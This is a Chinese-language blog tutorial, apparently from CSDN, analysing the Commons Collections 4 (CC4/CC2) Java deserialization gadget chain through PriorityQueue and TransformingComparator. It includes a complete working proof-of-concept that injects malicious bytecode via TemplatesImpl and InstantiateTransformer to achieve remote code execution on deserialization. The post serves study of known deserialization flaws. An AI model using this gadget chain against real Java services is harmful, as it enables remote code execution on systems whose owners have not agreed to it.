Java反序列化(四)——CC4、CC2

0 背景

白日梦组长投稿视频-白日梦组长视频分享-哔哩哔哩视频 (bilibili.com)

实验环境

Java:1.8.0_65

IDEA:2022

commons-collecetions:4.0

        CommonsCollections4 除 4.0 其他版本的 InvokerTransformer和InstantiateTransformer没有实现 Serializable,导致该方法无法序列化。此外, CommonsCollections 4的版本 TransformingComparator 实现了 Serializable接口,但CommonsCollections 3里是没有实现。

1 CC4

        这里的重点还是在前半条链上。

PriorityQueue.readObject()
  PriorityQueue.heapify()
    PriorityQueue.sift()
      PriorityQueue.siftDownUsingComparator()
        TransformingComparator.compare()         
          ChainedTransformer.transform()

1.1 调用链分析

        这里注意别用错类,用了CC3的。

1.1.1 TransformingComparator.compare(obj1, obj2)调用了ChainedTransformer.transform(obj)

        TransformingComparator在4版本中实现Serializable接口,所以可以序列化。从这里看需要需要满足的条件为:TransformingComparator.transformer = ChainedTransformer实例。

        这里obj1和obj2有什么用呢?其实通过在这里传递参数,可以使得ChainedTransformer变成InvokerTransformer或InstantiateTransformer等,这里就是将Transform[] 变成 Transform,这里的作用其实是在shiro反序列化中体现。

        能不能将将Transform[] 变成 Transform取决与参数在传递的过程中是否连续,像CC1、CC3、CC6就不行。

1.1.2 PriorityQueue.siftDownUsingComparator(int k, E x)调用了TransformingComparator.compare(obj1, obj2)

        PriorityQueue实现Serializable接口。需要满足:PriorityQueue.comparator = TransformingComparator.

        并且如果泛型参数x会传进 obj1,也就是参数在这一步还连续。

1.1.3 PriorityQueue.siftDown(int k, E x)调用了PriorityQueue.siftDownUsingComparator(int k, E x)

        需要满足:PriorityQueue.comparator != null。

        其实满足1.1.2的条件这里也能满足。 此外,传入参数还可连续。

        

1.1.4 PriorityQueue.heapify()调用了PriorityQueue.siftDown(int k, E x)

        要想反序列化链条成功需要满足条件: (PriorityQueue.size >>> 1)  - 1 >=0

        也就是: PriorityQueue.size/2 -1 >=0

        即:PriorityQueue.size >= 2,PriorityQueue的序列长度要大于2。

        如果想要传入参数还连续的话,需要满足控制 queue[PriorityQueue.size/2 -1]。

1.1.5 PriorityQueue.readObject()调用了PriorityQueue.heapify()

        这里需要size不小于0,和1.1.4的size>=0一致的。

1.2 POC编写

1.2.1 把ChainedTransformer放入TransformingComparator中

        需满足条件TransformingComparator.transformer = ChainedTransformer实例。看TransformingComparator的构造方法,用第一个就可。

1.2.2 把TransformingComparator放入PriorityQueue中

        需要满足条件:PriorityQueue.comparator = TransformingComparator && PriorityQueue.size >= 2

        发现PriorityQueue的构造函数可以直接给comparator赋值,如果不能直接赋值,需要反射,或者利用提供的其他方法赋值。

        size的值没办法直接通过构造方法赋值,但可以通过add(e)方法。或者反射修改。PS:在1.1.4中说到想要传入参数连续,那就要控制queue的值,add(e)方法调用时,就会直接调用offer(e),改变size的同时,也给queue赋值,但这里先随便给queue赋值。

    public boolean add(E e) {
        return offer(e);
    }

    public boolean offer(E e) {
        if (e == null)
            throw new NullPointerException();
        modCount++;
        int i = size;
        if (i >= queue.length)
            grow(i + 1);
        size = i + 1;
        if (i == 0)
            queue[0] = e;
        else
            siftUp(i, e);
        return true;
    }

        代码如下:

1.2.3 序列化

        条件已满足,所以可以序列化前就弹窗,并且InstantiateTransformer执行transform会报错。

        修改也很简单,和之前CC6一样,先给个别的transformers,add后反射就该为调用链的transformers。

        修改后,反序列化成功弹窗,虽然报错,但已经rce。

1.2.4 最终POC

package CCTest;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        byte[] evil = Files.readAllBytes(Paths.get("CC3Calc.class"));
        byte[][] codes = {evil};
        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c2 = transformingComparator.getClass();
        Field trans = c2.getDeclaredField("transformer");
        trans.setAccessible(true);
        trans.set(transformingComparator,chainedTransformer);

//        serialize(priorityQueue);
        unserilize("cc4-1.bin");

    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4-1.bin"));
        oos.writeObject(obj);
    }
    public static Object unserilize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

1.3 CC2--- 另一种形式的CC4

        综合上述的分析,参数在传递过程中是没有中断的。两种CC3的形式,分别可以只用一个InvokerTransformer或TransformingComparator就完成。

2. 总结

        最近比较忙,CC5和CC7先不写了,写一篇大半天。

        引用我老学长John的图。

  • 20
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值